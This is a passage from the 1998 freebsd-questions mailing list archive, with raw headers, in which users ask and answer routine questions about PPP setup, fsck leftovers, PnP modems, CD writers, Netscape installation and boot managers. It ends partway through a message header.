(EMWAC SMTPRS 0.83) with SMTP id ; Tue, 07 Apr 1998 11:37:24 +0200 Message-Id: <3.0.32.19980407112750.006d2b04@cyclone.degnet.baynet.de> X-Sender: moos@cyclone.degnet.baynet.de (Unverified) X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Tue, 07 Apr 1998 11:27:50 +0000 To: Holger Baust From: Malte Lance Subject: Re: FreeBSD 2.1.5 and Linux PPP-Link Cc: questions@FreeBSD.ORG Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Holger, get the source and compile it on your 2.1.5. I don't know where i got it from, but Brian Sommers should be listening on this list. I just grabbed the sources and compiled and installed them. It runs perfect for me on my 2.1.5. If you are not able to build from the sources, i sent you my binaries in private email as tar.gz attachment. ppp and pppctl go into /usr/sbin the manpages into /usr/share/man/man8 I've also included the source-tar-ball i grabed. Its not the newest one (i think from 15.12.97). Brian ... could you point holger to the latest sources of user-ppp ? Malte Lance malte@webmore.com At 09:09 07.04.98 +0200, you wrote: >Hi ! > >The Userland PPP Hack of brian Sommers runs on 2.1.5 ??? >The only binary Version is for 2.2.5. >Or is it Possible to get a running Version (perhaps the one of Malte) via >MIME attachment ??? > > > > Regards, > Holger Baust > >-- > >Holger Baust, Technik und Internet Services >impuls GmbH TeleFon: +49-2151-8533 >email: hbaust@impuls-kr.de TeleFax: +49-2151-853401 >http://www.impuls-kr.de/~hbaust http://www.impuls-kr.de > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 03:15:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id DAA00815 for freebsd-questions-outgoing; Tue, 7 Apr 1998 03:15:20 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id DAA00789 for ; Tue, 7 Apr 1998 03:15:12 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id TAA12674; Tue, 7 Apr 1998 19:44:52 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id TAA07944; Tue, 7 Apr 1998 19:44:51 +0930 (CST) (envelope-from grog) Message-ID: <19980407194451.12303@freebie.lemis.com> Date: Tue, 7 Apr 1998 19:44:51 +0930 From: Greg Lehey To: THIERRY.HERBELOT@telspace.alcatel.fr, freebsd-questions@FreeBSD.ORG Subject: Re: non-removable files after fsck References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: ; from THIERRY.HERBELOT@telspace.alcatel.fr on Tue, Apr 07, 1998 at 11:05:07AM +0200 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 April 1998 at 11:05:07 +0200, THIERRY.HERBELOT@telspace.alcatel.fr wrote: > Hi, > > I've installed a 2.2.5-Release PC, which runs with generally no > trouble. I've seen this morning that the df output on the /var > partition did not correspond to the du ouput on the same partition. > > I then rebooted the machine to have fsck repair the partition. It did > check / repair / salvage everything bad it found. > Files were transferred to /var/lost+found. I kept all files that > mattered (got rid of /var/run/*.pid files). > > I'm now with strange files in /var/lost+found and I don't know what to > do with them : > > ======================================== > > # cd /var/lost+found > # ll > total 0 > brwxrwxrwx 25376 5389804 1702043 97, 0x20300061 Feb 5 1995 #0075 > brwxrwxrwx 12385 1868783 1851878 115, 0x6e65005f Feb 26 1996 #0082 > b--sr-S--t 14948 5404877 8258982 116, 0x5b3a006f Feb 26 1996 #0092 > brwxrwxrwx 25384 1744169 8083999 109, 0x6b61005f Feb 26 1996 #0113 > br-sr-Srwt 14964 1634036 1445470 100, 0x5f6d006d Dec 8 01:53 #0115 > # > > ======================================== > > Has anyone any idea to purge these files ? (I can't rm or mv them : > "operation not permitted", even after su'ing to root) That's a serious mess. Have you tried chflags noschg? Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 04:04:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA06820 for freebsd-questions-outgoing; Tue, 7 Apr 1998 04:04:31 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from caladan.tdx.co.uk (caladan.tdx.co.uk [195.188.177.4]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA06788 for ; Tue, 7 Apr 1998 04:04:26 -0700 (PDT) (envelope-from kpielorz@tdx.co.uk) Received: from tdx.co.uk (lorca-tx.tdx.co.uk [195.188.177.242]) by caladan.tdx.co.uk (8.8.8/8.8.8) with ESMTP id MAA00789 for ; Tue, 7 Apr 1998 12:04:24 +0100 (BST) (envelope-from kpielorz@tdx.co.uk) Message-ID: <352A0833.B367413A@tdx.co.uk> Date: Tue, 07 Apr 1998 12:04:19 +0100 From: Karl Pielorz Organization: TDX X-Mailer: Mozilla 4.04 [en] (WinNT; I) MIME-Version: 1.0 To: questions@FreeBSD.ORG Subject: Changing the kernel on a 2.2.6 Install/Boot Disk... Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG How easy (if at all possible) is it to 'change' the kernel on a 2.2.6-RELEASE boot/install disk? I wanted to make an install disk with a different kernel on it, but I gather because of the MFS / file system embedded in the kernel etc. - this could be quite tricky? I have a 'donor' machine - which I don't mind installing all the source on it and building it there - if that's what it takes... Any help appreciated... Regards, Karl Pielorz To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 04:12:28 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA09050 for freebsd-questions-outgoing; Tue, 7 Apr 1998 04:12:28 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from venere.inet.it (venere.inet.it [194.20.8.4]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id EAA09037 for ; Tue, 7 Apr 1998 04:12:25 -0700 (PDT) (envelope-from paolo.dirienzo@alpa.it) Received: (from trusted@localhost) by venere.inet.it (8.6.10/8.6.10) id NAA42254 for ; Tue, 7 Apr 1998 13:12:21 +0200 Received: from alpa.inet.it(194.20.11.192) by venere.inet.it via I-SMTP id queue/s-194.20.11.192-H2npab; Tue Apr 7 13:12:20 1998 Message-Id: <3.0.1.32.19980407121844.006a48a0@pop.inet.it> X-Sender: paolo.dirienzo@pop.inet.it X-Mailer: Windows Eudora Pro Version 3.0.1 (32) [I] Date: Tue, 07 Apr 1998 12:18:44 +0200 To: freebsd-questions@FreeBSD.ORG From: Paolo Dirienzo Subject: pppd Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, i am novice, I would need to finf the update version of the pppd (currently I have searche in FAQ and the FreeBSD html but I did not find anything. thanks! Paolo ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ paolo.dirienzo@alpa.it alpa s.r.l. tel +39-2-66220632 via armellini, 31 fax +39-2-66220434 20161 milano http://www.alpa.it To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 04:40:22 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA11047 for freebsd-questions-outgoing; Tue, 7 Apr 1998 04:40:22 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from endeavor.flash.net (endeavor.flash.net [209.30.0.40]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA11042 for ; Tue, 7 Apr 1998 04:40:15 -0700 (PDT) (envelope-from anthony@sohopros.com) From: anthony@sohopros.com Received: from anthony.flashnet (fwasc9-184.flash.net [209.30.15.184]) by endeavor.flash.net (8.8.8/8.8.5) with SMTP id GAA26134; Tue, 7 Apr 1998 06:40:12 -0500 (CDT) Message-Id: <3.0.32.19980407063906.0090a7e0@pop.flash.net> X-Sender: anthony@pop.flash.net X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Tue, 07 Apr 1998 06:39:08 -0500 To: Studded Subject: Re: communicator-v404 Cc: freebsd-questions@FreeBSD.ORG Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I guess all the moons where aligned just right because I finally got the communicator-v405 to install last night. I don't know what the problem was exactly. You will have to forgive me I'm still very new to FreeBSD, but up until the last time I installed communicator-v405 it would error during the first portion of the install right after I typed ./ns-install. The error was something like this: installing .... error: unexpected EOF netscape.nif I'm sorry I don't remember the exact error message. Thanks so much for all your help. Thanks Anthony .... At 01:38 AM 4/7/98 -0700, Studded wrote: >anthony@sohopros.com wrote: >> >> Does anyone have a copy of: >> communicator-v404-export.x86-unknown-freebsd.tar.gz >> that I can download. I reformatted my dive the other >> day and lost my copy. I have downloaded and installed >> communicator-v405... about seven times, but either it >> doesn't work or I'm doing something wrong. > > What *exact* problems are you having, and have you tried installing >4.05 from the freebsd port? > >Doug > >-- >*** Chief Operations Officer, DALnet IRC network *** >*** Proud operator, designer and maintainer of the world's largest >*** Internet Relay Chat server. 5,328 clients and still growing. >*** Try spider.dal.net on ports 6662-4 (Powered by FreeBSD) > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 04:56:26 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA12656 for freebsd-questions-outgoing; Tue, 7 Apr 1998 04:56:26 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br ([200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA12647 for ; Tue, 7 Apr 1998 04:56:15 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node22.mpc.com.br [200.246.0.22]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id IAA19706; Tue, 7 Apr 1998 08:55:16 -0300 (EST) Message-Id: <3.0.32.19980407204307.00ab6b30@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Tue, 07 Apr 1998 20:50:34 -0300 To: John Saunders From: Capriotti Subject: Re: BSD Utopia? Cc: freebsd-questions@FreeBSD.ORG Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Actually, maybe merging the BSD flavors may be impossible, but merging back FREE DBDs may not. And, per what Mr. Andersen is doing, Free software will probably be the future in the medium/long run. And I would like to remark that Apple AND Sun are looking for Free SW to kepp on selling their HW. Doens that ring a bell ? I guess this is an URGENT issue; An unique opportunity kicking in our door. At 10:50 AM 4/7/98 +1000, John Saunders wrote: >Capriotti wrote: >> Good to remember that many factories are making joint-ventures. They keep >> their identity, but they work toghether in projects that, as a final >> result, give us one good car, as a rule. And better, faster >> developed/tested, and cheaper, though it doens't apply here (not indeed ? >> Time is money !). > >Actually that is a good idea. The different BSDs are close enough that >if they pooled effort for a particular project (such as a specific >driver) they could all include that feature. > >However merging all the BSDs back into 1 will never happen. > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 05:03:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA13299 for freebsd-questions-outgoing; Tue, 7 Apr 1998 05:03:07 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br (server4.mpc.com.br [200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA13290 for ; Tue, 7 Apr 1998 05:03:00 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node22.mpc.com.br [200.246.0.22]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id JAA19846; Tue, 7 Apr 1998 09:00:38 -0300 (EST) Message-Id: <3.0.32.19980407205502.00b618e0@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Tue, 07 Apr 1998 20:56:03 -0300 To: anthony@sohopros.com, Studded From: Capriotti Subject: Re: communicator-v404 Cc: freebsd-questions@FreeBSD.ORG Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG No prob, Tony. We all have problems like this. Anyway, I was able to find a collection of old netscape stuff for you :) Slow conection, but... ftp://ftp.unicamp.br/pub/netscape/communicator/ [hmmmmmmmm... in some of them the "development" branch is missing in some of them] At 06:39 AM 4/7/98 -0500, anthony@sohopros.com wrote: >I guess all the moons where aligned just right because I >finally got the communicator-v405 to install last night. >I don't know what the problem was exactly. You will have >to forgive me I'm still very new to FreeBSD, but up until >the last time I installed communicator-v405 it would error >during the first portion of the install right after I typed >./ns-install. The error was something like this: > >installing .... > >error: unexpected EOF netscape.nif > >I'm sorry I don't remember the exact error message. >Thanks so much for all your help. > >Thanks > >Anthony .... > > > >At 01:38 AM 4/7/98 -0700, Studded wrote: >>anthony@sohopros.com wrote: >>> >>> Does anyone have a copy of: >>> communicator-v404-export.x86-unknown-freebsd.tar.gz >>> that I can download. I reformatted my dive the other >>> day and lost my copy. I have downloaded and installed >>> communicator-v405... about seven times, but either it >>> doesn't work or I'm doing something wrong. >> >> What *exact* problems are you having, and have you tried installing >>4.05 from the freebsd port? >> >>Doug >> >>-- >>*** Chief Operations Officer, DALnet IRC network *** >>*** Proud operator, designer and maintainer of the world's largest >>*** Internet Relay Chat server. 5,328 clients and still growing. >>*** Try spider.dal.net on ports 6662-4 (Powered by FreeBSD) >> >> > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 05:06:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA13795 for freebsd-questions-outgoing; Tue, 7 Apr 1998 05:06:47 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br (server4.mpc.com.br [200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA13786 for ; Tue, 7 Apr 1998 05:06:42 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node22.mpc.com.br [200.246.0.22]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id IAA19691; Tue, 7 Apr 1998 08:55:12 -0300 (EST) Message-Id: <3.0.32.19980407203130.009394f0@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Tue, 07 Apr 1998 20:50:31 -0300 To: "Michael P. Sale" , From: Capriotti Subject: Re: newbie ppp question. Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Have you tried ppp -alias impulse (it should return you a prompt like: ppp ON [your_machine_name] > where you would say : dial ??? BTW, put "Default:" in lower caps, just in case, ok ? Oh, yes: You can only run ppp when you're root. Belonging to whell does not give you the needed rights to run it or do something else. use su to become root AFTER logging in as your normal user. At 05:10 PM 4/6/98 -0700, Michael P. Sale wrote: >Hello all, > >I am new to freebsd and most of unix. > >I am trying to get ppp (IPCP) dialout working on a newly installed >PII 233 with freebsd 2.2.5 (CD-Rom set). I have set up both ppp.conf and >ppp.linkup in the /etc/ppp directory. They are included below in case they >may be the problem. When I type in ppp from root ( I know using root is >bad, but I can't yet figure out why I don't have access to anything even >though my user is part of wheel ), I get the following: > >User Process PPP. Written by Toshiharu OHNO. > >According to the book, I should see considerably more here. :-) > >At this point the box hangs until I do a CTL-C. > >All advice and suggestions for the clueless would be appreciated. > >Thanks, > >Mike > >ppp.conf starts here------------------------------------------------- > ># Default setup. Always executed when PPP is invoked. ># >Default: > set device /dev/cuaa1 > set speed 57600 > set log Phase Chat Connect Carrier hdlc LCP IPCP CCP tun > deny lqr > set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \"\" ATE1Q0 OK-AT-OK >\\dATDT\\T TIMEOUT 40 CONNECT" ># Example with a login script ># ># o From PPP prompt, ># ppp> dial simplesite ># automatically dials and performs the login script. ># ># ppp> load simplesite ># loads and executes commands, but doesn't dial. ># ># o From shell, invoke as ># $ ppp simplesite ># to load commands associated with the 'simplesite' label. Use, ># ppp> dial ># to establish the connection. ># >impulse: > set phone 1234567 > set openmode passive > set authname login_name > set authkey passwd > set login "TIMEOUT 5 login:\\r-login: login_name word: passwd" > set timeout 120 ># Take care of extra stuff ># set up for dynamic ip (ipcp) >set ifaddr 0 0 ># set up for default routing >add 0 0 HISADDR > >ppp.conf ends here-------------------------------------------------- > >ppp.linkup starts here---------------------------------------------- > ># Otherwise, simply add peer as default gateway. ># >MYADDR: > delete 0 > add 0 0 HISADDR > >ppp.linkup ends >here---------------------------------------------------------- > > >---------------------------------------------- >Michael P. Sale >MerchantsNet.Com >mike@merchantsnet.com >www.merchantsnet.com >---------------------------------------------- >"Humility has no equal in the >battle for knowledge" >-- > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 05:51:39 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA18465 for freebsd-questions-outgoing; Tue, 7 Apr 1998 05:51:39 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA18409 for ; Tue, 7 Apr 1998 05:51:29 -0700 (PDT) (envelope-from erakupa@kk.etx.ericsson.se) Received: from kkb3 (kkb3.kk.etx.ericsson.se [130.100.97.23]) by penguin.wise.edt.ericsson.se (8.7.5/8.7.3/glacier-1.12) with SMTP id OAA01885 for ; Tue, 7 Apr 1998 14:50:53 +0200 (MET DST) Received: from kk662.kk.etx.ericsson.se by kkb3 (SMI-8.6/LME-2.2.6) id OAA26194; Tue, 7 Apr 1998 14:50:49 +0200 From: erakupa@kk.etx.ericsson.se (ETX-B-SL Martti Kuparinen) Received: by kk662.kk.etx.ericsson.se (SMI-8.6/client-1.6) id OAA00407; Tue, 7 Apr 1998 14:50:51 +0200 Date: Tue, 7 Apr 1998 14:50:51 +0200 Message-Id: <199804071250.OAA00407@kk662.kk.etx.ericsson.se> To: questions@FreeBSD.ORG Subject: invalid password in single-user mode X-Sun-Charset: US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG What's wrong with my 2.2.6-RELEASE machine? In the multi-user mode I can login as root, but the root password is not accepted in single-user mode. I am using non-US version of DES instead of MD5 if that matters... /Martti To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 05:53:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA18918 for freebsd-questions-outgoing; Tue, 7 Apr 1998 05:53:06 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from localhost.zilker.net (jump-k56flex-0037.jumpnet.com [207.8.6.37]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA18884 for ; Tue, 7 Apr 1998 05:52:57 -0700 (PDT) (envelope-from marquard@zilker.net) Received: (from marquard@localhost) by localhost.zilker.net (8.8.8/8.8.3) id HAA19186; Tue, 7 Apr 1998 07:52:18 -0500 (CDT) To: freebsd-questions@FreeBSD.ORG Subject: Re: Modems. References: <3528EA7E.AADD4507@airmail.net> <199804070100.VAA05052@rstcorp.com> From: Dave Marquardt Date: 07 Apr 1998 07:51:37 -0500 In-Reply-To: "Viren R. Shah"'s message of "Mon, 6 Apr 1998 21:00:46 -0400 (EDT)" Message-ID: <85lnthdcbq.fsf@localhost.zilker.net> Lines: 47 X-Mailer: Quassia Gnus v0.22/XEmacs 19.16 - "Lille" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Viren R. Shah" writes: > For PnP support, you need to have FreeBSD 2.2.6. > 1. If you don't have 2.2.6, see if the modem came with a program to > hardwire its resources. > 2. If you do have FreeBSD 2.2.6, configure a new kernel with > controller pnp0 > boot with this kernel. You can use "pnpinfo" to find out some > information about the pnp devices you have. This will let you know > what LSN and CSN. Mine says: > > bandersnatch# pnpinfo > Checking for Plug-n-Play devices... > > Card assigned CSN #1 > Vendor ID DAV0001 (0x01003610), Serial Number 0x00000295 > PnP Version 1.0, Vendor Version 16 > Device Description: DAVICOM 336PNP MODEM > ... > > etc > > Now reboot, and at the boot prompt use a "-c" to configure the > kernel. Use "help" to show you how to set the resources for the pnp > modem. Set the irq and port to be the same as the com port (sioX) at > which you want it. I just went through this with a Motorola ModemSURFR(tm) 56K I got cheap at the Dell factory outlet here in Austin. Windows 3.11 recognized it as COM4 with IRQ 5 and port 0x2e8. After much playing with FreeBSD 2.2.6 and PnP, I discovered that if I set the port and IRQ exactly the same way Windows set it, everything worked fine! I think the 2.2.6 PnP stuff or the card itself were originally picking port 0x3e8 and messing up. Another thing I did was to add the card to the siopnp_ids[] array in /usr/src/sys/i386/isa/sio.c. This made the system automagically recognize the card as a modem and set it up as sio1. If you do this sort of trick, you MUST still configure at least one of your normal serial ports (sounds like the original poster had another modem that was hardwired to a specific IRQ, so that will work), otherwise config will think you have no serial ports whatsoever, and the sio code won't be included at all. The FAQs and handbook are a little sparse on PnP, unfortunately. -Dave To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 06:03:14 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA20514 for freebsd-questions-outgoing; Tue, 7 Apr 1998 06:03:14 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from smtp04.primenet.com (smtp04.primenet.com [206.165.6.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA20497 for ; Tue, 7 Apr 1998 06:03:11 -0700 (PDT) (envelope-from bkogawa@primenet.com) Received: (from daemon@localhost) by smtp04.primenet.com (8.8.8/8.8.8) id GAA02907; Tue, 7 Apr 1998 06:03:10 -0700 (MST) Received: from ip207.sjc.primenet.com(206.165.96.207), claiming to be "foo.primenet.com" via SMTP by smtp04.primenet.com, id smtpd002815; Tue Apr 7 06:02:54 1998 Received: (from bkogawa@localhost) by foo.primenet.com (8.8.8/8.8.6) id GAA14715; Tue, 7 Apr 1998 06:03:28 -0700 (PDT) Date: Tue, 7 Apr 1998 06:03:28 -0700 (PDT) Message-Id: <199804071303.GAA14715@foo.primenet.com> To: t26v1441@ip.media.kyoto-u.ac.jp Subject: Re: xev: command not found Newsgroups: localhost.freebsd.questions References: <199804070334.MAA24486@www.adm.kyoto-u.ac.jp> From: "Bryan K. Ogawa" Cc: , yippies@hotmail.com X-Newsreader: NN version 6.5.0 #1 (NOV) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In localhost.freebsd.questions you write: >I started using FreeBSD 2 weeks ago.I am using 109 Japanesse keyboard and I >want customize my keyboard . I am using 2.2.5 R.when I try to look at >keycode by typing xev at command prompt (referring to manual book: FreeBSD >Power Guide by SHUWA SYSTEM CO.,LTD.JAPAN),but the command was not found.Is >there another command to use with 2.2.5R finding keycodes?Help me please. Your path may not be set to search /usr/X11R6/bin by default. If you installed X, you should have a copy of xev in /usr/X11R6/bin/xev . Try typing /usr/X11R6/bin/xev . -- bryan k ogawa http://www.primenet.com/~bkogawa/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 06:11:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA21898 for freebsd-questions-outgoing; Tue, 7 Apr 1998 06:11:51 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from horton.iaces.com (horton.iaces.com [204.147.87.98]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA21890 for ; Tue, 7 Apr 1998 06:11:48 -0700 (PDT) (envelope-from proot@horton.iaces.com) Received: (from proot@localhost) by horton.iaces.com (8.8.7/8.8.7) id IAA05475; Tue, 7 Apr 1998 08:10:32 -0500 (CDT) From: "Paul T. Root" Message-Id: <199804071310.IAA05475@horton.iaces.com> Subject: Re: CD-Rom Writer - kernel configuration? To: shubert@cubitus.physics.uottawa.ca (Sylvain Hubert) Date: Tue, 7 Apr 1998 08:10:32 -0500 (CDT) Cc: freebsd-questions@FreeBSD.ORG In-Reply-To: <199804061927.PAA00225@cubitus.physics.uottawa.ca> from Sylvain Hubert at "Apr 6, 98 03:27:02 pm" X-Organization: USWEST !nterprise Networking - ACES X-Phone: (612) 664-3385 X-Fax: (612) 664-4779 X-Page: (800) SKY-PAGE PIN: 537-7270 X-Address: 600 Stinson Blvd, Fl 1S X-Address: Minneapolis, MN 55413 X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In a previous message, Sylvain Hubert said: > > Hi, I am trying to make my cd-rom writer (YAMAHA CDR400t) to be read > as worm0 instead of cd0 in the booting process. I have add the following > line to the kernel: > device worm0 scbus? > and recompile the kernel. I also add a dev with "MAKEDEV worm". When > I reboot my computer, my cd-rom still appeared under cd0 and no comment > for worm0 appeared. Can anybody help me? I have the same drive. It is not in the worm.c code. That driver only supports a few drives, HP 4020i, Philips CDD2000 (that I also have, but I can't get it to work right either), and a couple others that, escape me. You're best chance is to get cd-record that doesn't use a driver, but talks directly to the scsi device. The last one I tried was version 1.5 but I couldn't get it to recognize the CDR400t either. This puts me in the position to burning my custom FreeBSD install CD's on NT. ick. -- Writing about music is like dancing about architecture. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 06:18:34 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA22794 for freebsd-questions-outgoing; Tue, 7 Apr 1998 06:18:34 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dc.seflin.org (d055633c@dc.seflin.org [199.227.192.38]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id GAA22758 for ; Tue, 7 Apr 1998 06:18:23 -0700 (PDT) (envelope-from d055633c@dc.seflin.org) Received: (from d055633c@localhost) by dc.seflin.org (8.6.12/8.6.12) id JAA24210; Tue, 7 Apr 1998 09:18:30 -0400 Date: Tue, 7 Apr 1998 09:18:30 -0400 (EDT) From: Robert Jackson Subject: removing boot manager? To: freebsd-questions@FreeBSD.ORG Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Is there an easy way to remove the boot manager? I installed FreeBSD on a computer at work, now I found I needed the space. So I deleted my freeBSD installation. Now I need to remove the boot manager so I don't hang at the prompt each time I boot... Anyone know how to do this? Robert Jackson d055633c@dc.seflin.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 06:23:15 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA23450 for freebsd-questions-outgoing; Tue, 7 Apr 1998 06:23:15 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from caladan.tdx.co.uk (caladan.tdx.co.uk [195.188.177.4]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA23398 for ; Tue, 7 Apr 1998 06:22:46 -0700 (PDT) (envelope-from kpielorz@tdx.co.uk) Received: from tdx.co.uk (lorca-tx.tdx.co.uk [195.188.177.242]) by caladan.tdx.co.uk (8.8.8/8.8.8) with ESMTP id OAA00737; Tue, 7 Apr 1998 14:22:30 +0100 (BST) (envelope-from kpielorz@tdx.co.uk) Message-ID: 